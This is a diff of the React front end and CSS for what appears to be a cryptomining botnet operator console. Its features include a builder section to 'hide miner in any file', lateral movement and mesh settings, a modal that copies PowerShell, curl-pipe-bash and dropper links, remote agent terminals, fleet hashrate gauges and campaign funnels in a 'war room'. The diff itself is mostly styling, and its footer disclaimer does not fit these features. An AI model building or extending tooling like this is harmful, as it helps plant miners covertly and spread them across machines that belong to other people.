@@ -1530,7 +1873,7 @@ export default function BuilderPage() {
{!simpleMode && (
<>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Performance & Resources"
badge="baked"
@@ -1662,7 +2005,7 @@ export default function BuilderPage() {
)}
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Install & Process"
badge="baked"
@@ -1903,7 +2246,7 @@ export default function BuilderPage() {
)}
{deliverableType !== 'spread_kit' && (
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Fusion — Hide miner in any file"
badge="baked"
@@ -2233,7 +2576,7 @@ export default function BuilderPage() {
)}
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
<div className="form-section operator-deck-card operator-interactive" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
<ForgeSectionHeader
title="PATH FORGE — Recursive Batch Seed"
badge="server-only"
@@ -2373,7 +2716,7 @@ export default function BuilderPage() {
{!simpleMode && (
<>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Build pipeline"
badge="server-only"
@@ -2411,7 +2754,7 @@ export default function BuilderPage() {
</div>
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Autonomy, Mesh & Lateral Movement"
badge="baked"
@@ -2533,7 +2876,7 @@ export default function BuilderPage() {
</>
)}
<div className="preflight-panel card">
<div className="preflight-panel card operator-deck-card operator-interactive">
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
<ul className="preflight-list">
{preflightChecks.map((c) => (
@@ -2646,6 +2989,54 @@ export default function BuilderPage() {
{dispenseReveal?.success && (
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
)}
{missionModal && (
<div
className="forge-mission-modal-backdrop"
role="dialog"
aria-modal="true"
aria-labelledby="mission-modal-title"
onClick={() => setMissionModal(null)}
>
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
<h3 id="mission-modal-title">Mission complete — links copied</h3>
<p className="form-hint" style={{ marginTop: 0 }}>
PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
</p>
<div className="forge-mission-link-block">
<p>PowerShell</p>
<code>{missionModal.ps1}</code>
</div>
<div className="forge-mission-link-block">
<p>curl | bash</p>
<code>{missionModal.sh}</code>
</div>
<div className="forge-mission-link-block">
<p>/get dropper</p>
<code>{missionModal.get}</code>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => void copyMissionLinks(missionModal)}
>
Copy all
</button>
<a
href="/spread/"
target="_blank"
rel="noopener noreferrer"
className="btn btn-outline btn-sm"
>
Open spread landing
</a>
<button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
Done
</button>
</div>
</div>
</div>
)}
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>

View File

@@ -4,6 +4,38 @@
max-width: 1400px;
}
/* ── Sidebar layout + fleet heat mini-map ─────────────────────────────── */
.crucible-layout {
display: grid;
grid-template-columns: minmax(200px, 240px) 1fr;
gap: 1rem;
align-items: start;
}
.crucible-sidebar {
position: sticky;
top: 0.75rem;
}
.crucible-heat-card {
padding: 0.75rem !important;
}
.crucible-main {
min-width: 0;
}
@media (max-width: 960px) {
.crucible-layout {
grid-template-columns: 1fr;
}
.crucible-sidebar {
position: static;
}
}
.crucible-sel-summary {
display: flex;
flex-direction: column;

View File

@@ -17,6 +17,8 @@ import FileManager from '../components/Fleet/FileManager';
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import AlsoHere from '../components/Presence/AlsoHere';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
@@ -524,6 +526,8 @@ export default function CruciblePage() {
return next;
});
const selectAgent = (id: string) => setSelectedIds(new Set([id]));
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
const clearSel = () => setSelectedIds(new Set());
@@ -885,7 +889,7 @@ export default function CruciblePage() {
// ── Render ─────────────────────────────────────────────────────────────
return (
<div className="page fade-in crucible-page">
<div className="page fade-in crucible-page operator-deck-page">
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
@@ -911,6 +915,8 @@ export default function CruciblePage() {
</div>
</header>
<AlsoHere page="/crucible" />
<FleetGroupsStrip
groups={groups}
liveAgentIds={onlineAgentIds}
@@ -920,8 +926,26 @@ export default function CruciblePage() {
onCreateGroup={() => setShowGroupModal(true)}
/>
<div className="crucible-layout">
<aside className="crucible-sidebar">
<NeonCard
accent="cyan"
className="crucible-heat-card operator-deck-card operator-interactive"
tilt3d={false}
>
<FleetHeatMiniMap
agents={agents}
groups={groups}
allIds={allIds}
selectedIds={selectedIds}
onSelectAgent={selectAgent}
/>
</NeonCard>
</aside>
<div className="crucible-main">
{/* ── Node Roster ─────────────────────────────────────────────────── */}
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
<NeonCard accent="cyan" className="crucible-roster-card operator-deck-card operator-interactive" hud tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> NODE ROSTER
</div>
@@ -939,7 +963,7 @@ export default function CruciblePage() {
return (
<div
key={a.id}
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
className={`crucible-node-card operator-interactive ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
style={{
...(sel ? { '--sel-color': color } : {}),
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
@@ -1098,7 +1122,7 @@ export default function CruciblePage() {
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> GROUPS
</div>
@@ -1141,7 +1165,7 @@ export default function CruciblePage() {
)}
</NeonCard>
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
<NeonCard accent="amber" className="crucible-actions-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> OPERATIONS
{selectedIds.size > 0 && (
@@ -1810,7 +1834,7 @@ export default function CruciblePage() {
</div>
{/* ── Terminal ────────────────────────────────────────────────────── */}
<NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
<NeonCard accent="green" className="crucible-term-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-term-header">
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
<span className="section-ornament"></span> TERMINAL
@@ -1883,7 +1907,7 @@ export default function CruciblePage() {
</NeonCard>
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
<NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
<NeonCard accent="brass" className="crucible-ssh-info operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> SSH ACCESS NOTES
</div>
@@ -1916,7 +1940,7 @@ export default function CruciblePage() {
</NeonCard>
{singleSelectedAgent && (
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap operator-deck-card operator-interactive" tilt3d={false}>
<ProtocolTunnelPanel
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
@@ -1953,6 +1977,8 @@ export default function CruciblePage() {
setShowGroupModal(false);
}}
/>
</div>
</div>
</div>
);
}

View File

@@ -392,7 +392,7 @@ export default function DashboardPage() {
};
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<AlertBanner alerts={alerts} />
{/* Fleet Health — always above the fold */}
@@ -464,13 +464,14 @@ export default function DashboardPage() {
</div>
</div>
<NeonCard accent="green" className="section" hud>
<NeonCard accent="green" className="section operator-deck-card operator-interactive" hud>
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
<span className="section-ornament"></span> Fleet Pipeline
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
Visual progress lit nodes mean that stage is active. <Link to="/guide">Open Field Guide </Link>
Visual progress lit nodes mean that stage is active.{' '}
<a href="/docs/" target="_blank" rel="noopener noreferrer">Open Documentation </a>
</p>
<FleetPipelineStatus
hasBuilds={hasBuilds}
@@ -482,7 +483,7 @@ export default function DashboardPage() {
</NeonCard>
<section className="gauge-row">
<NeonCard accent="cyan" className="gauge-card" hud>
<NeonCard accent="cyan" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={totalHashrate}
max={Math.max(totalHashrate * 1.2, 1000)}
@@ -492,7 +493,7 @@ export default function DashboardPage() {
size={110}
/>
</NeonCard>
<NeonCard accent="green" className="gauge-card" hud>
<NeonCard accent="green" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={onlinePct}
label="Online"
@@ -501,10 +502,10 @@ export default function DashboardPage() {
size={110}
/>
</NeonCard>
<NeonCard accent="purple" className="gauge-card" hud>
<NeonCard accent="purple" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<NeonCard accent="amber" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={avgCpu}
label="CPU"
@@ -676,7 +677,7 @@ export default function DashboardPage() {
{/* Gauge row */}
<section className="gauge-row rvn-gauges">
<NeonCard accent="gold" className="gauge-card" hud>
<NeonCard accent="gold" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={totalGPUHashrate}
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
@@ -686,7 +687,7 @@ export default function DashboardPage() {
size={110}
/>
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<NeonCard accent="amber" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={gpuHashrate15s}
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
@@ -696,7 +697,7 @@ export default function DashboardPage() {
size={110}
/>
</NeonCard>
<NeonCard accent="cyan" className="gauge-card" hud>
<NeonCard accent="cyan" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={gpuAgents.length}
max={Math.max(agents.length, 1)}
@@ -919,7 +920,7 @@ export default function DashboardPage() {
<NeonCard
key={agent.id}
accent={agent.status === 'online' ? 'cyan' : 'brass'}
className="agent-card detailed machine-panel"
className="agent-card detailed machine-panel operator-deck-card operator-interactive"
style={{ animationDelay: `${i * 0.05}s` } as CSSProperties}
>
<div className="agent-card-header">

View File

@@ -29,6 +29,26 @@
font-size: 0.85rem;
}
.emberwake-technique-list {
margin: 0;
padding-left: 1.2rem;
font-size: 0.85rem;
color: var(--text-dim, #aaa);
}
.emberwake-technique-list li {
margin-bottom: 0.35rem;
}
.emberwake-technique-list a {
color: var(--neon-cyan, #3dd6c6);
text-decoration: none;
}
.emberwake-technique-list a:hover {
text-decoration: underline;
}
.emberwake-campaign-list {
list-style: none;
margin: 0;
@@ -49,3 +69,771 @@
flex-wrap: wrap;
align-items: center;
}
.emberwake-page .spread-section--war-room {
border-left: 4px solid #f43f5e;
}
.war-room-toolbar {
display: flex;
flex-wrap: wrap;
gap: 0.75rem;
align-items: center;
justify-content: space-between;
margin-bottom: 0.75rem;
font-size: 0.8rem;
color: var(--text-dim, #aaa);
}
.war-room-table-wrap {
overflow-x: auto;
}
.war-room-table {
width: 100%;
border-collapse: collapse;
font-size: 0.82rem;
}
.war-room-table th,
.war-room-table td {
padding: 0.45rem 0.6rem;
text-align: right;
border-bottom: 1px solid #222a38;
}
.war-room-table th:first-child,
.war-room-table td:first-child {
text-align: left;
}
.war-room-table th {
color: var(--text-dim, #aaa);
font-weight: 600;
font-size: 0.72rem;
text-transform: uppercase;
letter-spacing: 0.04em;
}
.war-room-table tbody tr:hover {
background: rgba(61, 214, 198, 0.04);
}
.war-room-sparkline {
display: flex;
align-items: flex-end;
gap: 2px;
height: 28px;
min-width: 72px;
}
.war-room-sparkline span {
flex: 1;
min-width: 4px;
background: linear-gradient(180deg, #3dd6c6 0%, #1a6b62 100%);
border-radius: 2px 2px 0 0;
opacity: 0.85;
}
.war-room-conv {
color: #c9a227;
font-variant-numeric: tabular-nums;
}
.war-room-online {
color: #3dd6c6;
}
.war-room-empty {
margin: 0;
font-size: 0.85rem;
color: var(--text-dim, #aaa);
}
.emberwake-page .spread-section--violet {
border-left: 4px solid #a78bfa;
}
.supply-chain-wizard-header {
margin-bottom: 0.75rem;
}
.supply-chain-family-tabs {
display: flex;
gap: 0.5rem;
margin-bottom: 0.75rem;
flex-wrap: wrap;
}
.supply-chain-family-tab {
padding: 0.35rem 0.85rem;
border-radius: 999px;
border: 1px solid #2a3040;
background: #0d1018;
color: var(--text-dim, #aaa);
font-size: 0.82rem;
cursor: pointer;
}
.supply-chain-family-tab.active {
border-color: #a78bfa;
color: #e9d5ff;
box-shadow: 0 0 12px rgba(167, 139, 250, 0.25);
}
.supply-chain-step-rail {
margin: 0.75rem 0 1rem;
}
.supply-chain-step-num {
display: inline-flex;
align-items: center;
justify-content: center;
width: 1.1rem;
height: 1.1rem;
border-radius: 50%;
background: rgba(167, 139, 250, 0.2);
font-size: 0.65rem;
}
.supply-chain-step-panel {
padding: 0.75rem 0;
border-top: 1px solid #222a38;
border-bottom: 1px solid #222a38;
margin-bottom: 0.75rem;
}
.supply-chain-preview {
margin-top: 0.75rem;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
border-radius: 6px;
border: 1px solid #222a38;
}
.supply-chain-preview-url {
display: block;
font-size: 0.72rem;
word-break: break-all;
margin-bottom: 0.35rem;
}
.supply-chain-download-meta {
margin: 0 0 0.75rem;
padding-left: 1.1rem;
font-size: 0.85rem;
}
.supply-chain-download-meta li {
margin-bottom: 0.35rem;
}
.supply-chain-export-actions {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
}
.supply-chain-wizard-nav {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
margin-bottom: 0.75rem;
}
.supply-chain-quick-export {
padding-top: 0.5rem;
border-top: 1px dashed #2a3040;
}
.supply-chain-checklist {
list-style: none;
margin: 0 0 1rem;
padding: 0;
}
.supply-chain-checklist li {
margin-bottom: 0.5rem;
font-size: 0.88rem;
}
.supply-chain-checklist label {
display: flex;
gap: 0.5rem;
align-items: flex-start;
cursor: pointer;
}
.supply-chain-checklist-done {
color: var(--neon-green, #6f6);
font-size: 0.85rem;
margin: 0 0 0.75rem;
}
.supply-chain-checklist-actions {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
align-items: center;
}
/* ── Post-export deployment reel (checklist modal) ── */
.supply-chain-deployment-reel {
position: relative;
margin: 0 0 1.1rem;
padding: 0.85rem 1rem;
border-radius: 10px;
border: 1px solid rgba(61, 214, 198, 0.28);
background: linear-gradient(135deg, rgba(61, 214, 198, 0.06) 0%, rgba(244, 63, 94, 0.04) 100%);
overflow: hidden;
}
.supply-chain-deployment-reel-title {
margin: 0 0 0.65rem;
font-size: 0.72rem;
letter-spacing: 0.08em;
text-transform: uppercase;
color: var(--neon-cyan, #3dd6c6);
font-family: var(--font-tech, monospace);
}
.supply-chain-deployment-reel-steps {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.supply-chain-deployment-reel-step {
display: flex;
align-items: center;
gap: 0.55rem;
font-size: 0.88rem;
opacity: 0.35;
transform: translateX(-4px);
transition: opacity 0.35s ease, transform 0.35s ease;
}
.supply-chain-deployment-reel-step--active {
opacity: 0.85;
transform: translateX(0);
}
.supply-chain-deployment-reel-step--done {
opacity: 1;
transform: translateX(0);
}
.supply-chain-deployment-reel-step--animating .supply-chain-deployment-reel-check {
animation: supply-chain-reel-pulse 0.9s ease-in-out;
}
.supply-chain-deployment-reel-check {
display: inline-flex;
align-items: center;
justify-content: center;
width: 1.35rem;
height: 1.35rem;
border-radius: 50%;
border: 1px solid #2a3040;
font-size: 0.75rem;
flex-shrink: 0;
color: var(--text-secondary);
background: rgba(0, 0, 0, 0.35);
}
.supply-chain-deployment-reel-step--done .supply-chain-deployment-reel-check {
border-color: rgba(111, 255, 111, 0.55);
color: var(--neon-green, #6f6);
background: rgba(111, 255, 111, 0.12);
animation: supply-chain-reel-check-pop 0.45s cubic-bezier(0.34, 1.56, 0.64, 1);
}
.supply-chain-deployment-reel-step--active .supply-chain-deployment-reel-check {
border-color: rgba(61, 214, 198, 0.5);
color: var(--neon-cyan, #3dd6c6);
}
.supply-chain-deployment-reel-label a {
color: var(--neon-cyan, #3dd6c6);
text-decoration: underline;
text-underline-offset: 2px;
}
.supply-chain-deployment-reel--complete {
box-shadow: 0 0 28px rgba(61, 214, 198, 0.12);
}
.supply-chain-deployment-reel-glow {
position: absolute;
inset: -20%;
background: radial-gradient(circle at 50% 50%, rgba(61, 214, 198, 0.15), transparent 55%);
pointer-events: none;
animation: supply-chain-reel-glow 1.2s ease-out forwards;
}
.supply-chain-deployment-reel--complete::after {
content: '';
position: absolute;
inset: 0;
pointer-events: none;
background-image:
radial-gradient(circle at 15% 20%, rgba(244, 63, 94, 0.35) 0 2px, transparent 3px),
radial-gradient(circle at 78% 28%, rgba(61, 214, 198, 0.4) 0 2px, transparent 3px),
radial-gradient(circle at 42% 72%, rgba(250, 204, 21, 0.35) 0 2px, transparent 3px),
radial-gradient(circle at 88% 65%, rgba(167, 139, 250, 0.35) 0 2px, transparent 3px),
radial-gradient(circle at 25% 55%, rgba(61, 214, 198, 0.3) 0 1.5px, transparent 2.5px);
opacity: 0;
animation: supply-chain-reel-confetti 0.8s ease-out 0.1s forwards;
}
@keyframes supply-chain-reel-check-pop {
0% { transform: scale(0.4); opacity: 0; }
70% { transform: scale(1.15); }
100% { transform: scale(1); opacity: 1; }
}
@keyframes supply-chain-reel-pulse {
0%, 100% { box-shadow: 0 0 0 rgba(61, 214, 198, 0); }
50% { box-shadow: 0 0 12px rgba(61, 214, 198, 0.45); }
}
@keyframes supply-chain-reel-glow {
from { opacity: 0.6; }
to { opacity: 0; }
}
@keyframes supply-chain-reel-confetti {
from { opacity: 0; transform: scale(0.95); }
to { opacity: 1; transform: scale(1); }
}
.war-room-toolbar-right {
display: flex;
flex-wrap: wrap;
gap: 0.75rem;
align-items: center;
}
.war-room-view-toggle {
display: flex;
gap: 0.35rem;
flex-wrap: wrap;
}
/* ── Constellation force graph ── */
.war-room-constellations {
width: 100%;
}
.war-room-constellations-svg {
display: block;
width: 100%;
height: auto;
border-radius: 10px;
border: 1px solid #2a3040;
background: linear-gradient(160deg, #0a0d14 0%, #12101a 45%, #0c0f16 100%);
box-shadow: inset 0 0 40px rgba(61, 214, 198, 0.04);
}
.war-room-constellation-edge {
stroke: rgba(61, 214, 198, 0.18);
stroke-dasharray: 4 6;
transition: stroke 0.2s ease, stroke-width 0.2s ease;
}
.war-room-constellation-edge--lit {
stroke: rgba(201, 162, 39, 0.55);
stroke-dasharray: none;
}
.war-room-constellation-halo {
opacity: 0.22;
pointer-events: none;
transform-origin: center;
transform-box: fill-box;
animation: constellation-pulse 2.4s ease-in-out infinite;
}
.war-room-constellation-node--hover circle:nth-of-type(2) {
filter: url(#constellation-glow);
}
.war-room-constellation-label {
font-size: 0.62rem;
fill: #9aa3b5;
font-family: var(--font-mono, ui-monospace, monospace);
pointer-events: none;
user-select: none;
}
.war-room-constellation-legend {
margin: 0.55rem 0 0;
font-size: 0.78rem;
}
.war-room-funnel-card--highlighted {
border-color: rgba(201, 162, 39, 0.65);
box-shadow:
0 0 28px rgba(201, 162, 39, 0.18),
0 0 48px rgba(61, 214, 198, 0.08);
animation: constellation-card-flash 2.8s ease-out;
}
@keyframes constellation-pulse {
0%, 100% { opacity: 0.1; transform: scale(1); }
50% { opacity: 0.42; transform: scale(1.12); }
}
@keyframes constellation-card-flash {
0% { outline: 2px solid rgba(201, 162, 39, 0.7); outline-offset: 2px; }
100% { outline: 2px solid transparent; outline-offset: 6px; }
}
/* ── Funnel board ── */
.war-room-funnel-board {
display: grid;
gap: 1rem;
grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
}
.war-room-funnel-board--alive .war-room-funnel-card {
animation: war-room-card-alive 0.9s ease-out;
}
.war-room-funnel-card {
position: relative;
padding: 1rem 1.1rem;
border-radius: 10px;
border: 1px solid #2a3040;
background: linear-gradient(145deg, #141a24 0%, #0c0f16 55%, #12101a 100%);
box-shadow: 0 0 24px rgba(244, 63, 94, 0.06);
overflow: hidden;
animation-delay: var(--card-stagger, 0s);
}
.war-room-funnel-card::before {
content: '';
position: absolute;
inset: 0;
background: radial-gradient(ellipse at top left, rgba(61, 214, 198, 0.08), transparent 55%);
pointer-events: none;
}
.war-room-funnel-card-head {
display: flex;
justify-content: space-between;
align-items: flex-start;
gap: 0.5rem;
margin-bottom: 0.85rem;
position: relative;
}
.war-room-funnel-slug {
font-size: 0.95rem;
color: #f43f5e;
}
.war-room-funnel-meta {
display: block;
font-size: 0.72rem;
color: var(--text-dim, #888);
margin-top: 0.15rem;
}
.war-room-funnel-head-stats {
display: flex;
flex-direction: column;
align-items: flex-end;
gap: 0.2rem;
font-size: 0.75rem;
}
.war-room-funnel-overall {
color: #c9a227;
font-variant-numeric: tabular-nums;
}
.war-room-funnel-online {
color: #3dd6c6;
}
.war-room-funnel-pipeline {
display: flex;
align-items: stretch;
gap: 0.15rem;
overflow-x: auto;
padding-bottom: 0.35rem;
position: relative;
}
.war-room-funnel-stage {
display: flex;
align-items: center;
flex: 1;
min-width: 4.5rem;
}
.war-room-funnel-node {
display: flex;
flex-direction: column;
align-items: center;
text-align: center;
min-width: 3.5rem;
z-index: 1;
}
.war-room-funnel-node-label {
font-size: 0.62rem;
text-transform: uppercase;
letter-spacing: 0.05em;
color: var(--text-dim, #888);
white-space: nowrap;
}
.war-room-funnel-node-value {
font-size: 0.9rem;
font-weight: 700;
font-variant-numeric: tabular-nums;
color: #e8eaef;
line-height: 1.2;
}
.war-room-funnel-node-rate {
font-size: 0.65rem;
color: #3dd6c6;
font-variant-numeric: tabular-nums;
}
.war-room-funnel-node-rate--low {
color: #fbbf24;
animation: war-room-pulse 2s ease-in-out infinite;
}
.war-room-funnel-pipe {
position: relative;
flex: 1;
height: 6px;
min-width: 12px;
margin: 0 0.1rem;
background: #1a2030;
border-radius: 3px;
overflow: hidden;
align-self: center;
}
.war-room-funnel-pipe--flowing {
box-shadow: inset 0 0 6px rgba(61, 214, 198, 0.08);
}
.war-room-funnel-pipe-fill {
display: block;
height: 100%;
width: var(--pipe-fill, 8%);
background: linear-gradient(
90deg,
#f43f5e 0%,
#ff6b2c 25%,
#ffd166 50%,
#3dd6c6 75%,
#f43f5e 100%
);
background-size: 220% 100%;
border-radius: 3px;
animation: war-room-flow 1.15s linear infinite;
animation-delay: var(--pipe-stagger, 0s);
box-shadow: 0 0 10px rgba(61, 214, 198, 0.45), 0 0 4px rgba(244, 63, 94, 0.25);
}
.war-room-funnel-pipe-shimmer {
position: absolute;
inset: 0;
width: 40%;
background: linear-gradient(
90deg,
transparent 0%,
rgba(255, 255, 255, 0.18) 45%,
transparent 100%
);
animation: war-room-pipe-shimmer 1.8s ease-in-out infinite;
animation-delay: var(--pipe-stagger, 0s);
pointer-events: none;
opacity: 0.7;
}
.war-room-funnel-arrow {
color: #4a5568;
font-size: 0.7rem;
flex-shrink: 0;
animation: war-room-arrow-nudge 1.8s ease-in-out infinite;
}
.war-room-funnel-card-foot {
display: flex;
align-items: flex-end;
justify-content: space-between;
gap: 0.75rem;
margin-top: 0.75rem;
padding-top: 0.65rem;
border-top: 1px solid #222a38;
}
.war-room-sparkline--card {
flex: 1;
max-width: 160px;
}
.war-room-sparkline-label {
font-size: 0.62rem;
color: var(--text-dim, #888);
margin-right: 0.35rem;
align-self: flex-end;
}
.war-room-funnel-hash {
font-size: 0.82rem;
color: #c9a227;
font-variant-numeric: tabular-nums;
}
.war-room-leak {
display: flex;
gap: 0.6rem;
align-items: flex-start;
margin-top: 0.75rem;
padding: 0.55rem 0.65rem;
border-radius: 6px;
font-size: 0.78rem;
}
.war-room-leak--critical {
background: rgba(244, 63, 94, 0.12);
border: 1px solid rgba(244, 63, 94, 0.35);
animation: war-room-leak-glow 2s ease-in-out infinite;
}
.war-room-leak--warn {
background: rgba(251, 191, 36, 0.08);
border: 1px solid rgba(251, 191, 36, 0.3);
}
.war-room-leak--clear {
background: rgba(61, 214, 198, 0.06);
border: 1px solid rgba(61, 214, 198, 0.2);
}
.war-room-leak-badge {
flex-shrink: 0;
font-size: 0.62rem;
font-weight: 700;
letter-spacing: 0.08em;
padding: 0.15rem 0.35rem;
border-radius: 3px;
background: rgba(0, 0, 0, 0.35);
}
.war-room-leak--critical .war-room-leak-badge {
color: #f43f5e;
}
.war-room-leak--warn .war-room-leak-badge {
color: #fbbf24;
}
.war-room-leak--clear .war-room-leak-badge {
color: #3dd6c6;
}
.war-room-leak-msg {
margin: 0;
color: #e8eaef;
line-height: 1.35;
}
.war-room-leak-action {
margin: 0.25rem 0 0;
color: var(--text-dim, #aaa);
font-size: 0.72rem;
line-height: 1.35;
}
/* ── Odometer counters ── */
.war-room-odometer {
position: relative;
display: inline-flex;
align-items: baseline;
gap: 0.25rem;
font-variant-numeric: tabular-nums;
}
.war-room-odometer-value {
display: inline-block;
}
.war-room-odometer--pulse .war-room-odometer-value {
animation: war-room-odometer-glow 0.7s ease-out;
text-shadow: 0 0 12px rgba(61, 214, 198, 0.55);
}
.war-room-odometer-delta {
font-size: 0.62em;
font-weight: 600;
color: #3dd6c6;
opacity: 0;
animation: war-room-delta-pop 0.85s ease-out forwards;
letter-spacing: 0.02em;
}
.war-room-table .war-room-odometer {
justify-content: flex-end;
width: 100%;
}
@keyframes war-room-flow {
0% { background-position: 0% 50%; opacity: 0.88; filter: brightness(1); }
50% { background-position: 100% 50%; opacity: 1; filter: brightness(1.25); }
100% { background-position: 200% 50%; opacity: 0.88; filter: brightness(1); }
}
@keyframes war-room-pipe-shimmer {
0% { transform: translateX(-120%); opacity: 0; }
35% { opacity: 0.85; }
100% { transform: translateX(280%); opacity: 0; }
}
@keyframes war-room-card-alive {
0% { box-shadow: 0 0 0 rgba(61, 214, 198, 0); border-color: #2a3040; }
40% { box-shadow: 0 0 28px rgba(61, 214, 198, 0.18); border-color: rgba(61, 214, 198, 0.35); }
100% { box-shadow: 0 0 24px rgba(244, 63, 94, 0.06); border-color: #2a3040; }
}
@keyframes war-room-odometer-glow {
0% { color: inherit; transform: scale(1); }
35% { color: #3dd6c6; transform: scale(1.06); }
100% { color: inherit; transform: scale(1); }
}
@keyframes war-room-delta-pop {
0% { opacity: 0; transform: translateY(4px); }
25% { opacity: 1; transform: translateY(0); }
75% { opacity: 1; }
100% { opacity: 0; transform: translateY(-3px); }
}
@keyframes war-room-arrow-nudge {
0%, 100% { transform: translateX(0); opacity: 0.5; }
50% { transform: translateX(2px); opacity: 1; }
}
@keyframes war-room-pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.55; }
}
@keyframes war-room-leak-glow {
0%, 100% { box-shadow: 0 0 0 rgba(244, 63, 94, 0); }
50% { box-shadow: 0 0 12px rgba(244, 63, 94, 0.2); }
}

View File

@@ -1,6 +1,6 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { api } from '../api/client';
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import {
combinedDropperQuery,
commandOneliner,
@@ -8,9 +8,23 @@ import {
publicDownloadUrl,
shOneliner,
} from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
spreadTechniqueDocUrl,
} from '../help/spreadTechniques';
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
import { useWebSocket } from '../hooks/useWebSocket';
import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import './Pages.css';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
@@ -27,8 +41,14 @@ function CopyChip({ text, label }: { text: string; label: string }) {
);
}
const NOTES_TYPING_DEBOUNCE_MS = 400;
const NOTES_TYPING_IDLE_MS = 2000;
const WAR_ROOM_DAYS = 7;
const WAR_ROOM_POLL_MS = 15_000;
